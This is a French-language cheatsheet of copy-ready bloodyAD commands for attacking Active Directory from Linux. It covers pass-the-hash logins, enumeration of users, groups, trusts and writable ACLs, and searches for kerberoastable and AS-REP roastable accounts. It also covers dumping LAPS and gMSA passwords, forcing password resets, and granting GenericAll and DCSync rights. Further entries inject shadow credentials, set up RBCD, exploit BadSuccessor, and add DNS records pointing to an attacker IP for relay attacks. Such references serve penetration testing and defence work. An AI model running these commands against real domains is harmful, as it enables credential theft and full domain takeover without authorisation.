Cheatsheets

BloodyAD

Cheatsheet bloodyAD : énumération AD, ACL, Kerberos, credentials et exploitation depuis Linux.

Installation

Copy command
pipx install git+https://github.com/CravateRouge/bloodyAD

Description: Installe bloodyAD dans un environnement isolé via pipx (recommandé).

Copy command
sudo apt install bloodyad -y

Description: Installation via APT sur Debian/Ubuntu si le paquet est disponible.

Verify + Syntax

Copy command
bloodyAD --help

Description: Vérifie l'installation et affiche les commandes disponibles.

Copy command
bloodyAD --host $DC -d $DOMAIN -u '$USER' -p '$PASS' [command]

Description: Syntaxe générale avec authentification password classique.

Copy command
bloodyAD --host $DC -d $DOMAIN -u '$USER' -p ':$NTHASH' [command]

Description: Pass-the-Hash : préfixer le hash avec `:` en guise de mot de passe.

Copy command
bloodyAD --host $DC -d $DOMAIN -k [command]

Description: Authentification Kerberos (ccache courant). Utiliser le FQDN, pas l'IP.

Enum - Users

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get children --otype user

Description: Liste tous les comptes utilisateurs du domaine.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$TARGET_USER'

Description: Récupère tous les attributs LDAP d'un utilisateur spécifique.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$TARGET_USER' --attr userAccountControl

Description: Lit les flags UAC (ACCOUNTDISABLE, DONT_REQ_PREAUTH, etc.).

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$TARGET_USER' --attr name,distinguishedName,objectSid

Description: Récupère des attributs précis sur un objet utilisateur.

Enum - Groups

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get children --otype group

Description: Liste tous les groupes du domaine.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get membership '$GROUP'

Description: Énumère les membres d'un groupe AD.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$USER' --attr memberOf

Description: Affiche tous les groupes dont un utilisateur est membre.

Enum - Domain

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get children --otype computer

Description: Liste tous les comptes machine du domaine.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get children --otype trustedDomain

Description: Énumère les relations de confiance inter-domaines.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object 'DC=$DOMAIN,DC=$TLD' --attr minPwdLength

Description: Récupère la politique de mot de passe du domaine.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object 'DC=$DOMAIN,DC=$TLD' --attr ms-DS-MachineAccountQuota

Description: Vérifie le quota de comptes machine créables par un utilisateur standard.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get dnsDump > dns_records.txt

Description: Dump l'ensemble des enregistrements DNS du domaine.

ACL - Enumeration

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get writable --detail

Description: Trouve tous les attributs sur lesquels l'utilisateur courant a des droits d'écriture.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get writable --include-del

Description: Inclut les objets supprimés dans la recherche de droits d'écriture.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$TARGET' --attr ntsecuritydescriptor --resolve-sd

Description: Affiche le descripteur de sécurité d'un objet (ACL lisible).

Kerberos - Recon

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get search --filter '(&(samAccountType=805306368)(servicePrincipalName=*))' --attr sAMAccountName

Description: Trouve les comptes kerberoastables (SPN défini).

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

Description: Trouve les comptes AS-REP roastables (DONT_REQ_PREAUTH activé et compte actif).

Credentials - gMSA / LAPS

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$GMSA$' --attr msDS-ManagedPassword

Description: Lit le secret géré d'un compte gMSA/dMSA (requiert les droits ACL appropriés).

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd

Description: Dump les mots de passe LAPS de toutes les machines accessibles.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$COMPUTER$' --attr ms-Mcs-AdmPwd

Description: Lit le mot de passe LAPS d'une machine spécifique.

Credentials - Password

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS set password '$TARGET_USER' '$NEW_PASS'

Description: Force le changement de mot de passe d'un utilisateur (requiert GenericAll/WriteProp).

Group - Membership

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add groupMember '$GROUP' '$MEMBER'

Description: Ajoute un utilisateur ou objet dans un groupe AD.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS delete groupMember '$GROUP' '$MEMBER'

Description: Retire un membre d'un groupe AD.

ACL - Exploitation

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add genericAll '$TARGET' '$ATTACKER_USER'

Description: Accorde GenericAll sur un objet cible (contrôle total).

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS set owner '$TARGET' '$NEW_OWNER'

Description: Change le propriétaire d'un objet AD (permet d'accorder ensuite des droits).

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add dcsync '$TARGET'

Description: Accorde les droits DCSync (GetChangesAll) à un objet pour extraire les hashes du domaine.

UAC - Manipulation

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add uac '$TARGET_USER' -f DONT_REQ_PREAUTH

Description: Active AS-REP roasting sur un compte (supprime la pré-authentification Kerberos).

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS remove uac '$TARGET_USER' -f ACCOUNTDISABLE

Description: Réactive un compte désactivé.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add uac '$TARGET' -f TRUSTED_TO_AUTH_FOR_DELEGATION

Description: Active la constrained delegation avec protocol transition (S4U2Self).

Kerberos - Attacks

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add shadowCredentials '$TARGET'

Description: Injecte des shadow credentials (msDS-KeyCredentialLink) pour obtenir un TGT sans mot de passe.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS set object '$TARGET' servicePrincipalName -v 'cifs/service'

Description: Assigne un SPN à un compte pour le rendre kerberoastable.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add rbcd '$DELEGATE_TO$' '$DELEGATE_FROM$'

Description: Configure le RBCD (Resource-Based Constrained Delegation) sur une machine cible.

Computer - Accounts

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add computer '<computer_name>' '<computer_password>'

Description: Crée un compte machine (utile pour RBCD si le quota MachineAccountQuota > 0).

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add badSuccessor '$ATTACKER_DMSA'

Description: Exploite la primitive BadSuccessor via un compte dMSA contrôlé.

DNS - Operations

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add dnsRecord '$RECORD' '$ATTACKER_IP'

Description: Ajoute un enregistrement DNS (utile pour NTLM relay ou coercition).

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS remove dnsRecord '$RECORD' '<ip>'

Description: Supprime un enregistrement DNS précédemment ajouté (nettoyage).